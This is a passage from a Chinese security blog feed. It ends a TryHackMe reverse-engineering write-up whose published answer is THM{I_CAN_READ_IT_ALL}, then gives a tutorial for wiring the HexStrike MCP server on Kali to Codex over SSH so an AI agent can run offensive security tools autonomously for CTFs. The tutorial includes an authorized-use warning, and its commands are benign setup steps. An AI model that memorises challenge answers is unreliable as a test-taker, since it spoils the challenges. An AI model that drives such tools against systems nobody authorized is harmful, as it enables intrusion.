中嵌入 Godot PCK</span><br><span class="line">    |</span><br><span class="line">提取 tetrix.pck</span><br><span class="line">    |</span><br><span class="line">分析 PCK 头部和目录区域熵值</span><br><span class="line">    |</span><br><span class="line">判断资源包目录疑似经过加密</span><br><span class="line">    |</span><br><span class="line">转向全文件特征搜索</span><br><span class="line">    |</span><br><span class="line">使用 Ghidra Raw Binary 导入 EXE</span><br><span class="line">    |</span><br><span class="line">搜索 THM 和 THM&#123;</span><br><span class="line">    |</span><br><span class="line">排除 ARITHMETIC 等误命中</span><br><span class="line">    |</span><br><span class="line">在 0x058b159c 处找到 flag</span><br></pre></td></tr></table></figure><p>本题的关键经验：</p><ul><li><code>file</code> 可以快速判断文件类型和目标架构；</li><li><code>objdump -h</code> 可以查看 PE 节区布局；</li><li>看到 <code>pck</code> 和 <code>GDPC</code> 时，应联想到 Godot PCK 资源包；</li><li>文件真实大小大于所有节区覆盖范围时，可能存在 overlay 数据；</li><li>熵值接近 8 说明数据随机性很强，但需要结合格式标志和上下文判断是加密还是压缩；</li><li>Ghidra 默认 PE 导入不等价于十六进制编辑器的全文件视图；</li><li>若要在 Ghidra 中按原始文件偏移搜索，应使用 Raw Binary 导入，并将 Base Address 设置为 <code>0x0</code>；</li><li>搜索 <code>THM</code> 可能出现普通单词子串造成的误报，应进一步确认 <code>THM&#123;</code>；</li><li>最终 flag 明文位于原始文件偏移 <code>0x058b159c</code> 附近。</li></ul><p>最终答案：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">THM&#123;I_CAN_READ_IT_ALL&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">记录 TryHackMe THE GAME CHALLENGE 的分析过程：识别 PE 文件、定位并提取 Godot PCK、检查资源包特征，并使用 Ghidra Raw Binary 全文件搜索找到 flag。</summary>
    
    
    
    <category term="tryhackme" scheme="https://nuyoah.space/categories/tryhackme/"/>
    
    
    <category term="THM" scheme="https://nuyoah.space/tags/THM/"/>
    
    <category term="逆向工程" scheme="https://nuyoah.space/tags/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B/"/>
    
    <category term="Ghidra" scheme="https://nuyoah.space/tags/Ghidra/"/>
    
    <category term="Godot" scheme="https://nuyoah.space/tags/Godot/"/>
    
    <category term="PE" scheme="https://nuyoah.space/tags/PE/"/>
    
    <category term="文件分析" scheme="https://nuyoah.space/tags/%E6%96%87%E4%BB%B6%E5%88%86%E6%9E%90/"/>
    
  </entry>
  
  <entry>
    <title>hexstrike + vscode copilot codex 实现渗透 CTF 自动化工作流</title>
    <link href="https://nuyoah.space/posts/afd717c0.html"/>
    <id>https://nuyoah.space/posts/afd717c0.html</id>
    <published>2026-05-02T06:00:00.000Z</published>
    <updated>2026-09-09T03:43:28.172Z</updated>
    
    <content type="html"><![CDATA[<h1 id="渗透测试-CTF-半自动化流程"><a href="#渗透测试-CTF-半自动化流程" class="headerlink" title="渗透测试/CTF 半自动化流程"></a>渗透测试/CTF 半自动化流程</h1><p>本教程是使用hexstrike + vscode copilot/codex，目的是实现渗透测试/CTF 自动化<br><div class="note warning flat"><p>本文仅用于授权的 CTF、靶场和自有实验环境，不适用于未授权目标。<br>这套流程的是“让 AI 代替人工执行重复性分析步骤”，不是无约束地自动攻击真实目标。</p></div></p><h3 id="写这篇博客的原因"><a href="#写这篇博客的原因" class="headerlink" title="写这篇博客的原因"></a>写这篇博客的原因</h3><p>首先是我个人在学习了解了一些AI方面相关的知识后，平时使用的办法通常是将需求告知codex，然后等codex将详细步骤发给我再执行。但是在学完了MCP服务后，开始萌生了能不能直接通过提示词让codex调用我本地虚拟机的kali来执行一些重复性任务？</p><h3 id="关于MCP"><a href="#关于MCP" class="headerlink" title="关于MCP"></a>关于MCP</h3><p>我在写这篇博客的时候对MCP的认识还是相当浅薄的，也很希望阅读到这篇文章的大家能指出哪里的不足和错误。</p><p>首先介绍MCP：<br>MCP是一套可以让AI调用外部工具的标准协议（Model Context Protocol 又称模型上下文协议）。<br>MCP统一了AI和外部工具/数据之间的连接方式，换句话说就是MCP实现了AI端和程序之间的交互。这里MCP服务端可以让AI知道：<br>Resources: 可供AI读取的资源<br>Prompts: 预设好的提示词模板来实现工作流<br>Tools: AI能够调用的工具/函数（这里我对函数的理解来自2026的CS50课程，里面说 函数在程序中就是一个动词或者动作来完成某一特定任务）</p><p>在MCP中有四部分：<br>用户<br>  ↓<br>MCP Host：运行 AI 的一端，例如 Codex / IDE 插件 / CLI<br>  ↓<br>MCP Client：Host 内部负责和 MCP Server 通信的部分<br>  ↓<br>MCP Server：对外暴露能力的服务<br>  ↓<br>Tools：Server 提供给 Host 使用的内容</p><p>在我的这个场景里：<br>Codex 作为 Host，通过 MCP Client 连接 HexStrike 这个 MCP Server，再由 HexStrike 暴露 Kali 里的各种工具能力</p><p>以上就是我对MCP的理解，之后有更深入的理解也会更新。</p><h3 id="关于codex"><a href="#关于codex" class="headerlink" title="关于codex"></a>关于codex</h3><p>这里的codex属于AI端，也就是MCP Host/Agent 的部分，可以把它类比成人类的大脑，你用的模型越优秀，你的实际解决问题能力也就越强（这里我个人觉得chatgpt,manus，calude 更好用些）</p><h3 id="hexstrike"><a href="#hexstrike" class="headerlink" title="hexstrike"></a>hexstrike</h3><p>HexStrike AI 是一款革命性的 AI 驱动攻击性安全框架，结合了专业安全工具与自主 AI 代理 ，提供全面的安全测试能力。<br>当然这只是hexstrike官网上这样描述的，不过我觉得这个描述有些夸大了，来看github上的描述：<br>HexStrike AI MCP 代理是一款先进的 MCP 服务器，允许 AI 代理（Claude、GPT、Copilot 等）自主运行 150+ 网络安全工具，用于自动化渗透测试、漏洞发现、漏洞悬赏自动化和安全研究。无缝连接大型语言模型与现实世界的攻击性安全能力。</p><p>实际上hexstrike就是一个MCP server, 它的作用就是把很多kali安全工具封装成了MCP tools，从而实现了AI HOST 能自主调用工具来完成研究。</p><p>最明显的一点就是看他仓库代码，并没有特别多的文件，只有 hexstrike_mcp.py，hexstrike_server.py，这两个运行文件。其次是requirements.txt<br><img src="https://img.nuyoah.icu/post/img/AI%E7%B3%BB%E5%88%97/hexstrike-vscode-copilot-codex-%E5%AE%9E%E7%8E%B0%E6%B8%97%E9%80%8F-CTF-%E5%85%A8%E8%87%AA%E5%8A%A8%E5%8C%96/1777706674_58a10c19318bde110926e4c4cca00f56.%7Bext%7D" alt="代码仓库"></p><p>那么接下来我们要思考的就很简单了，如何配置hexstrike-ai 并实现 codex 与之交互从而达成渗透测试全自动呢？ 这里官方有给出copilot配置的视频，所以这里我就不再演示，仅演示codex如何配置<br><a href="https://www.youtube.com/watch?v=pSoftCagCm8">https://www.youtube.com/watch?v=pSoftCagCm8</a> # 官方安装教程视频链接</p><h2 id="部署kali并安装hexstrike"><a href="#部署kali并安装hexstrike" class="headerlink" title="部署kali并安装hexstrike"></a>部署kali并安装hexstrike</h2><p>为了节约空间，同时网上关于如何部署kali的教程已经非常多也非常详细了，这里就不再演示，接下来直接从安装hexstrike开始。</p><h3 id="安装-hexstrike并启动server"><a href="#安装-hexstrike并启动server" class="headerlink" title="安装 hexstrike并启动server"></a>安装 hexstrike并启动server</h3><div class="note info flat"><p>我这里使用的是已经封装好的 <code>hexstrike-ai</code> 安装方式。<br>如果你使用的是官方仓库 README，请以官方安装步骤为准；不同安装方式下，可执行文件名和启动方式可能不同。</p></div><details><summary>如果你按官方 README 安装</summary><p>这里补官方源码安装路径，例如：</p><ul><li>git clone</li><li>python venv</li><li>pip install -r requirements.txt</li><li>python3 启动 hexstrike_server</li></ul></details><p>这里因为之后想让直接调用kali的工具，这里直接在kali中执行</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt update</span><br><span class="line"><span class="built_in">sudo</span> apt install hexstrike-ai -y</span><br></pre></td></tr></table></figure><p>安装完成后检查：<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">which</span> hexstrike_server</span><br><span class="line"><span class="built_in">which</span> hexstrike_mcp</span><br></pre></td></tr></table></figure><br><img src="https://img.nuyoah.icu/post/img/AI%E7%B3%BB%E5%88%97/hexstrike-vscode-copilot-codex-%E5%AE%9E%E7%8E%B0%E6%B8%97%E9%80%8F-CTF-%E5%85%A8%E8%87%AA%E5%8A%A8%E5%8C%96/1777706721_6c76ad2a2c790e286c7a71737bd047f5.%7Bext%7D" alt="检查"></p><p>启动hexstrike-server：<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hexstrike_server --port 8888   <span class="comment">#这里官方默认开启端口是8888，我这里也复用官方设置</span></span><br></pre></td></tr></table></figure></p><p>另开一个终端检查：<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl http://127.0.0.1:8888/health</span><br></pre></td></tr></table></figure><br><img src="https://img.nuyoah.icu/post/img/AI%E7%B3%BB%E5%88%97/hexstrike-vscode-copilot-codex-%E5%AE%9E%E7%8E%B0%E6%B8%97%E9%80%8F-CTF-%E5%85%A8%E8%87%AA%E5%8A%A8%E5%8C%96/1777706726_5f4fd58c3dceab973a16d0cda0660d9e.%7Bext%7D" alt="返回信息"><br>如果返回信息中存在status:healthy 即为成功</p><div class="note info flat"><p>请注意上面开启hexstrike_server的终端不要关闭！</p></div><h3 id="Kali开启SSH"><a href="#Kali开启SSH" class="headerlink" title="Kali开启SSH"></a>Kali开启SSH</h3><p>由于vscode运行在windows上，而hexstrike和工具都在kali里，所以需要通过远程执行通道来让windows能安全进入kali并启动<code>hexstrike_mcp --server http://127.0.0.1:8888</code></p><details><summary>不安全的办法</summary><p>也可以直接让windows访问kali的8888端口，这需要kali先执行<code>hexstrike_server --host 0.0.0.0 --port 8888</code><br>然后windows访问<code>http://Kali-IP:8888</code><br>但是这样会把hexstrike_server暴露在网络中，可能会被恶意利用，非常不建议这样使用！</p></details><p>kali启动SSH<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> systemctl <span class="built_in">enable</span> --now ssh</span><br><span class="line"><span class="built_in">sudo</span> systemctl status ssh   <span class="comment">#检查状态</span></span><br></pre></td></tr></table></figure></p><h3 id="windows配置免密SSH登录kali"><a href="#windows配置免密SSH登录kali" class="headerlink" title="windows配置免密SSH登录kali"></a>windows配置免密SSH登录kali</h3><p>在windows powershell中执行：<br><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh<span class="literal">-keygen</span> <span class="literal">-t</span> ed25519 <span class="operator">-f</span> <span class="variable">$env:USERPROFILE</span>\.ssh\kali_hexstrike</span><br></pre></td></tr></table></figure></p><p>把公钥传到kali：<br><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">type</span> <span class="variable">$env:USERPROFILE</span>\.ssh\kali_hexstrike.pub | ssh username@Kali_IP <span class="string">&quot;mkdir -p ~/.ssh &amp;&amp; cat &gt;&gt; ~/.ssh/authorized_keys &amp;&amp; chmod 700 ~/.ssh &amp;&amp; chmod 600 ~/.ssh/authorized_keys&quot;</span></span><br></pre></td></tr></table></figure></p><p>测试免密登录：<br><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh -i $env:USERPROFILE\.ssh\kali_hexstrike username@kali_IP &quot;<span class="built_in">echo</span> ok&quot;</span><br></pre></td></tr></table></figure></p><h3 id="windows写入SSH配置"><a href="#windows写入SSH配置" class="headerlink" title="windows写入SSH配置"></a>windows写入SSH配置</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">notepad <span class="variable">$env</span>:USERPROFILE\.ssh\config</span><br></pre></td></tr></table></figure><p>写入：<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Host kali-hexstrike</span><br><span class="line">    HostName kali_ip</span><br><span class="line">    User username</span><br><span class="line">    IdentityFile C:\Users\你的Windows用户名\.ssh\kali_hexstrike</span><br><span class="line">    StrictHostKeyChecking accept-new</span><br><span class="line"><span class="comment"># 请把 `kali_ip` 替换成你的 Kali IP，把 `username` 替换成你的 Kali 用户名。  </span></span><br></pre></td></tr></table></figure></p><p>测试：<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh kali-hexstrike <span class="string">&quot;echo ok&quot;</span></span><br></pre></td></tr></table></figure><br>返回 ok 即表示免密连接成功。</p><h3 id="配置codex的mcp"><a href="#配置codex的mcp" class="headerlink" title="配置codex的mcp"></a>配置codex的mcp</h3><div class="note info flat"><p>我的工作流是：<br>用户<br> ↓<br>Windows VSCode Codex 插件<br> ↓<br>Codex 读取 C:\Users\username.codex\config.toml<br> ↓<br>通过 SSH 连接 Kali<br> ↓<br>启动 Kali 里的 hexstrike_mcp<br> ↓<br>hexstrike_mcp 连接 <a href="http://127.0.0.1:8888">http://127.0.0.1:8888</a><br> ↓<br>hexstrike_server 调用 Kali 工具<br> ↓<br>结果返回给 Codex<br> ↓<br>Codex 根据结果继续分析</p></div><p>OpenAI 官方文档有说明，Codex 的 CLI 和 VSCode IDE 插件共享 ~/.codex/config.toml<br>所以接下来从vscode齿轮菜单打开配置文件<br><img src="https://img.nuyoah.icu/post/img/AI%E7%B3%BB%E5%88%97/hexstrike-vscode-copilot-codex-%E5%AE%9E%E7%8E%B0%E6%B8%97%E9%80%8F-CTF-%E5%85%A8%E8%87%AA%E5%8A%A8%E5%8C%96/1777706731_d31f120edf161ba36e53c2520e061fb8.%7Bext%7D" alt="vscode打开配置文件"></p><p>也可以通过powershell，执行：<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">notepad <span class="variable">$env</span>:USERPROFILE\.codex\config.toml</span><br></pre></td></tr></table></figure><br>写入这一段：<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">[mcp_servers.hexstrike]</span><br><span class="line"><span class="built_in">command</span> = <span class="string">&quot;C:\\Windows\\System32\\OpenSSH\\ssh.exe&quot;</span></span><br><span class="line">args = [</span><br><span class="line">  <span class="string">&quot;-T&quot;</span>,</span><br><span class="line">  <span class="string">&quot;-o&quot;</span>, <span class="string">&quot;BatchMode=yes&quot;</span>,</span><br><span class="line">  <span class="string">&quot;kali-hexstrike&quot;</span>,</span><br><span class="line">  <span class="string">&quot;hexstrike_mcp&quot;</span>,</span><br><span class="line">  <span class="string">&quot;--server&quot;</span>, <span class="string">&quot;http://127.0.0.1:8888&quot;</span>,</span><br><span class="line">  <span class="string">&quot;--timeout&quot;</span>, <span class="string">&quot;300&quot;</span></span><br><span class="line">]</span><br><span class="line">startup_timeout_sec = 60</span><br><span class="line">tool_timeout_sec = 300</span><br><span class="line">enabled = <span class="literal">true</span> <span class="comment">#非必须</span></span><br></pre></td></tr></table></figure><br>保存<br><img src="https://img.nuyoah.icu/post/img/AI%E7%B3%BB%E5%88%97/hexstrike-vscode-copilot-codex-%E5%AE%9E%E7%8E%B0%E6%B8%97%E9%80%8F-CTF-%E5%85%A8%E8%87%AA%E5%8A%A8%E5%8C%96/1777707252_02831b5d51e66bd0a37326ec0562480c.%7Bext%7D" alt="powershell打开"></p><h3 id="在-Codex-中确认-MCP-Server-是否可用"><a href="#在-Codex-中确认-MCP-Server-是否可用" class="headerlink" title="在 Codex 中确认 MCP Server 是否可用"></a>在 Codex 中确认 MCP Server 是否可用</h3><p>在 VSCode 里 <code>ctrl+shift+p</code> 输入 <code>Developer: Reload Window</code><br>然后打开 Codex 插件面板,选择MCP服务器能看到<br><img src="https://img.nuyoah.icu/post/img/AI%E7%B3%BB%E5%88%97/hexstrike-vscode-copilot-codex-%E5%AE%9E%E7%8E%B0%E6%B8%97%E9%80%8F-CTF-%E5%85%A8%E8%87%AA%E5%8A%A8%E5%8C%96/1777706818_329160170c2f4684a14a8fca31a6c80a.%7Bext%7D" alt="codex中hexstrike服务器"></p><p>接下来启动hexstrike_mcp服务器<br><code>ctrl+shite+p</code> 选择 MCP: list servers<br>打开hexstrike服务<br><img src="https://img.nuyoah.icu/post/img/AI%E7%B3%BB%E5%88%97/hexstrike-vscode-copilot-codex-%E5%AE%9E%E7%8E%B0%E6%B8%97%E9%80%8F-CTF-%E5%85%A8%E8%87%AA%E5%8A%A8%E5%8C%96/1777706867_d34f58f28749cd2a9d20d4f539be14cb.%7Bext%7D" alt="hexstrike_mcp"></p><p>之后可以直接在Codex cli中对话检查：<br><code>List available MCP tools.</code><br><img src="https://img.nuyoah.icu/post/img/AI%E7%B3%BB%E5%88%97/hexstrike-vscode-copilot-codex-%E5%AE%9E%E7%8E%B0%E6%B8%97%E9%80%8F-CTF-%E5%85%A8%E8%87%AA%E5%8A%A8%E5%8C%96/1777706911_b261cbdb24f63e64897ab26a7c56b5b4.%7Bext%7D" alt="成功展示1"><br><img src="https://img.nuyoah.icu/post/img/AI%E7%B3%BB%E5%88%97/hexstrike-vscode-copilot-codex-%E5%AE%9E%E7%8E%B0%E6%B8%97%E9%80%8F-CTF-%E5%85%A8%E8%87%AA%E5%8A%A8%E5%8C%96/1777706935_f975ecbf88afd5e7d4ade0cc880ac9de.%7Bext%7D" alt="2"></p><h2 id="全自动化搭建完成"><a href="#全自动化搭建完成" class="headerlink" title="全自动化搭建完成"></a>全自动化搭建完成</h2><p>接下来需要做的就很简单了——提供提示词，这里以ctf为例：<br>首先我在kali创建了一个名为CTF的文件夹 <code>mkdir -p ~/CTF</code><br>为了方便写了一个便于管理的脚本 new_ctf.sh：<br><img src="https://img.nuyoah.icu/post/img/AI%E7%B3%BB%E5%88%97/hexstrike-vscode-copilot-codex-%E5%AE%9E%E7%8E%B0%E6%B8%97%E9%80%8F-CTF-%E5%85%A8%E8%87%AA%E5%8A%A8%E5%8C%96/1777706939_2039a1dbb16ad5f57d535b61def9ebfc.%7Bext%7D" alt="页面"></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/usr/bin/env bash</span></span><br><span class="line"><span class="built_in">set</span> -euo pipefail</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="title">show_help</span></span>() &#123;</span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;用法:&quot;</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;  <span class="variable">$0</span> -p &lt;比赛/平台目录&gt; -t &lt;题目类型&gt; -n &lt;题目名称&gt; [-c]&quot;</span></span><br><span class="line">    <span class="built_in">echo</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;参数:&quot;</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;  -p    比赛或平台目录，例如 iscc、nssctf、buuctf&quot;</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;  -t    题目类型，只允许 misc/web/pwn/re/mobile&quot;</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;  -n    题目名称，例如 &quot;</span><span class="built_in">who</span> am i<span class="string">&quot; &quot;</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;  -c    创建后将 ~/CTF/current 指向该题目目录&quot;</span></span><br><span class="line">    <span class="built_in">echo</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;示例:&quot;</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;  <span class="variable">$0</span> -p iscc -t misc -n \&quot;who am i\&quot; -c&quot;</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;  <span class="variable">$0</span> -p iscc -t web -n ez_login -c&quot;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">BASE_DIR=<span class="string">&quot;<span class="variable">$&#123;HOME&#125;</span>/CTF&quot;</span></span><br><span class="line">PLATFORM=<span class="string">&quot;&quot;</span></span><br><span class="line">TYPE=<span class="string">&quot;&quot;</span></span><br><span class="line">NAME=<span class="string">&quot;&quot;</span></span><br><span class="line">SET_CURRENT=<span class="literal">false</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> <span class="built_in">getopts</span> <span class="string">&quot;:p:t:n:ch&quot;</span> opt; <span class="keyword">do</span></span><br><span class="line">    <span class="keyword">case</span> <span class="string">&quot;<span class="variable">$opt</span>&quot;</span> <span class="keyword">in</span></span><br><span class="line">        p)</span><br><span class="line">            PLATFORM=<span class="string">&quot;<span class="variable">$OPTARG</span>&quot;</span></span><br><span class="line">            ;;</span><br><span class="line">        t)</span><br><span class="line">            TYPE=<span class="string">&quot;<span class="variable">$OPTARG</span>&quot;</span></span><br><span class="line">            ;;</span><br><span class="line">        n)</span><br><span class="line">            NAME=<span class="string">&quot;<span class="variable">$OPTARG</span>&quot;</span></span><br><span class="line">            ;;</span><br><span class="line">        c)</span><br><span class="line">            SET_CURRENT=<span class="literal">true</span></span><br><span class="line">            ;;</span><br><span class="line">        h)</span><br><span class="line">            show_help</span><br><span class="line">            <span class="built_in">exit</span> 0</span><br><span class="line">            ;;</span><br><span class="line">        \?)</span><br><span class="line">            <span class="built_in">echo</span> <span class="string">&quot;[-] 未知参数: -<span class="variable">$OPTARG</span>&quot;</span></span><br><span class="line">            show_help</span><br><span class="line">            <span class="built_in">exit</span> 1</span><br><span class="line">            ;;</span><br><span class="line">        :)</span><br><span class="line">            <span class="built_in">echo</span> <span class="string">&quot;[-] 参数 -<span class="variable">$OPTARG</span> 需要值&quot;</span></span><br><span class="line">            show_help</span><br><span class="line">            <span class="built_in">exit</span> 1</span><br><span class="line">            ;;</span><br><span class="line">    <span class="keyword">esac</span></span><br><span class="line"><span class="keyword">done</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> [[ -z <span class="string">&quot;<span class="variable">$PLATFORM</span>&quot;</span> || -z <span class="string">&quot;<span class="variable">$TYPE</span>&quot;</span> || -z <span class="string">&quot;<span class="variable">$NAME</span>&quot;</span> ]]; <span class="keyword">then</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;[-] 缺少必要参数&quot;</span></span><br><span class="line">    show_help</span><br><span class="line">    <span class="built_in">exit</span> 1</span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">case</span> <span class="string">&quot;<span class="variable">$TYPE</span>&quot;</span> <span class="keyword">in</span></span><br><span class="line">    misc|web|pwn|re|mobile)</span><br><span class="line">        ;;</span><br><span class="line">    *)</span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;[-] 题目类型不合法: <span class="variable">$TYPE</span>&quot;</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;[-] 只允许: misc/web/pwn/re/mobile&quot;</span></span><br><span class="line">        <span class="built_in">exit</span> 1</span><br><span class="line">        ;;</span><br><span class="line"><span class="keyword">esac</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> [[ <span class="string">&quot;<span class="variable">$NAME</span>&quot;</span> == *<span class="string">&quot;/&quot;</span>* ]]; <span class="keyword">then</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;[-] 题目名称不能包含 /&quot;</span></span><br><span class="line">    <span class="built_in">exit</span> 1</span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">mkdir</span> -p <span class="string">&quot;<span class="variable">$BASE_DIR</span>&quot;</span></span><br><span class="line"></span><br><span class="line">TARGET_DIR=<span class="string">&quot;<span class="variable">$BASE_DIR</span>/<span class="variable">$PLATFORM</span>/<span class="variable">$TYPE</span>/<span class="variable">$NAME</span>&quot;</span></span><br><span class="line">CURRENT_LINK=<span class="string">&quot;<span class="variable">$BASE_DIR</span>/current&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">mkdir</span> -p <span class="string">&quot;<span class="variable">$TARGET_DIR</span>&quot;</span>/&#123;attachments,notes,output,scripts,tmp&#125;</span><br><span class="line"></span><br><span class="line">README_FILE=<span class="string">&quot;<span class="variable">$TARGET_DIR</span>/README.md&quot;</span></span><br><span class="line"><span class="keyword">if</span> [[ ! -f <span class="string">&quot;<span class="variable">$README_FILE</span>&quot;</span> ]]; <span class="keyword">then</span></span><br><span class="line">    <span class="built_in">cat</span> &gt; <span class="string">&quot;<span class="variable">$README_FILE</span>&quot;</span> &lt;&lt;<span class="string">EOF</span></span><br><span class="line"><span class="string"># $NAME</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">## 基本信息</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">- 